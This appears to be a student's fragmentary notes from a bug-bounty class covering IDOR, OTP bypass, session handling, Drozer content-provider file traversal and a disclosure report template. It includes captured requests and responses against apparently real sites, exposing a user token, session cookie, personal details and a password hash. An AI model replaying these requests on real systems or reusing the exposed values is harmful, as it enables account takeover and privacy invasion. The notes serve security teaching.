IDOR - Insecure direct object reference -
https://abc.com/userprofile?id=1234
- asif
Aman -
https://abc.com/userprofile?if=12345
https://abc.com/userprofile?id=1234
The attacker is able to access or manipulate or modify
an id para which should not be allowed
Access to unauthorized data- if an attacker can guess or
increment the id parameter and access another user
data , its idor vul.
Pii
POST /rajsacademy_app_ctrl/get_profile HTTP/1.1
Content-Type: application/x-www-form-urlencoded;
charset=UTF-8
User-Agent: Dalvik/2.1.0 (Linux; U; Android 6.0; Phone
Build/MRA58K)
Host: www.rajsacademy.com
Connection: close
Accept-Encoding: gzip, deflate
Content-Length: 163
user_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJp
ZCI6IjkyMTgiLCJkZXZpY2VfaWQiOiI3ZTljMDlmZDExNjY2
MTUifQ.Z6aGWoYplx9GJ7yHmckG7iztOOM3V1p13gfjt9
8DMGw&userid=9210&
HTTP/1.1 200 OK
Date: Tue, 26 Sep 2023 13:41:45 GMT
Server: Apache/2.4.54 (Ubuntu)
Set-Cookie:
ci_session=3f10pih9he4kdpulivlb7ctprupvpk4q;
expires=Tue, 26-Sep-2023 15:41:45 GMT; Max-
Age=7200; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 150
Connection: close
Content-Type: application/json
{"status":true,"message":"Success","image":"","name":"
Aiswarya
","location":"","mobile":"","email":"@gmail.com"}
Idor - high
Otp - raj - vul
Otp bypass - idor = account takeover - critical - chaining
Idor -otp - account takeover
2020 - app - 2k $
Improper Session Handling
Swiggy - login - making profile -changing the name -
logout
Asif - swiggy - name - asif1 - logout - asif123
Burpsuite
POST /api/v2/edit_user HTTP/1.1
authkey: 123456
Content-Length: 302
Content-Type: application/x-www-form-urlencoded
Host: jaipursabjimandi.com
Connection: close
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)
device_id=d0tHS7lyEMY%3AAPA91bFBIQt8Y2rYklzhykZZ
oSAdV1TeevLXcVH3JVfPOyhhtGa7OonoM2_NEDUogWu
oyfEiXrvKhCzhfmVTpXt7-
BonhM_vFtSeVBB6P39sQnB6XODJ21FrRH4BgU44fB4Vbf
1gdmWm&device_type=android&user_id=12525&zipco
de=665464&email=propubgking123%40gmail.com&user
name=null&full_name=asif123&phone_number=867657
5676
HTTP/1.1 200 OK
date: Tue, 26 Sep 2023 13:49:12 GMT
server: Apache/2.4.41 (Ubuntu)
cache-control: no-cache, private
x-ratelimit-limit: 60
x-ratelimit-remaining: 59
vary: Accept-Encoding
content-length: 899
content-type: text/html; charset=UTF-8
connection: close
{"status":"success","message":"Your profile has been
updated
successfully.","data":{"id":"12525","user_role_id":"0","fi
rst_name":"","last_name":"","full_name":"asif123","slu
g":"test","username":null,"email":"propubgking123@g
mail.com","phone_number":"8676575676","password":
"$2y$10$j9aTuTnD7K3kxpM19rjsFunh48PQRrSlC99Hh4
o1v1kiAbikpcEKS","image":"https:\/\/fanyv88.com:443\/https\/jaipursabjimandi.c
om\/img\/usr_img.png","is_verified":"0","is_active":"1",
"validate_string":"66731158181c5150bf4d6a5f5975467
8","forgot_password_validate_string":null,"verification_
code":null,"is_deleted":"0","remember_token":null,"ag
ent_code":"","created_at":"2023-09-26
18:24:24","updated_at":"2023-09-26
19:19:12","deleted_at":"0","device_type":"android","de
vice_id":"d0tHS7lyEMY:APA91bFBIQt8Y2rYklzhykZZoSAd
V1TeevLXcVH3JVfPOyhhtGa7OonoM2_NEDUogWuoyfEi
XrvKhCzhfmVTpXt7-
BonhM_vFtSeVBB6P39sQnB6XODJ21FrRH4BgU44fB4Vbf
1gdmWm","zipcode":"665464"}}
Local File Inclusion
Drozer
Application
content providers exported 1 ,2 ,3
Getting the package name
Attacksurface
Info for provider
Finding uri
Scanning vul uri
Exploit
Report a vul/bug -
run app.package.attacksurface com.mwr.example.sieve
run app.provider.info -a com.mwr.example.sieve
run app.provider.finduri com.mwr.example.sieve
run scanner.provider.traversal -a
com.mwr.example.sieve
run app.provider.read
content://com.mwr.example.sieve.FileBackupProvider/
proc/cpuinfo
Responsible Disclosure/ vul report
Vulnerability Name - idor
Vulnerable URL/App - http://abc.com/ app name
version
Description -
Steps to reproduce -
steps that we have taken to find a bug
Impact -
POC - proof of concept - img/photo/video
Solution
Project -
Application
3 days
4 vul - app
App - 4 vul.
Asif.apk -12 vuls -4 vul.
Minimum 4
Thecyberhost , name ,index
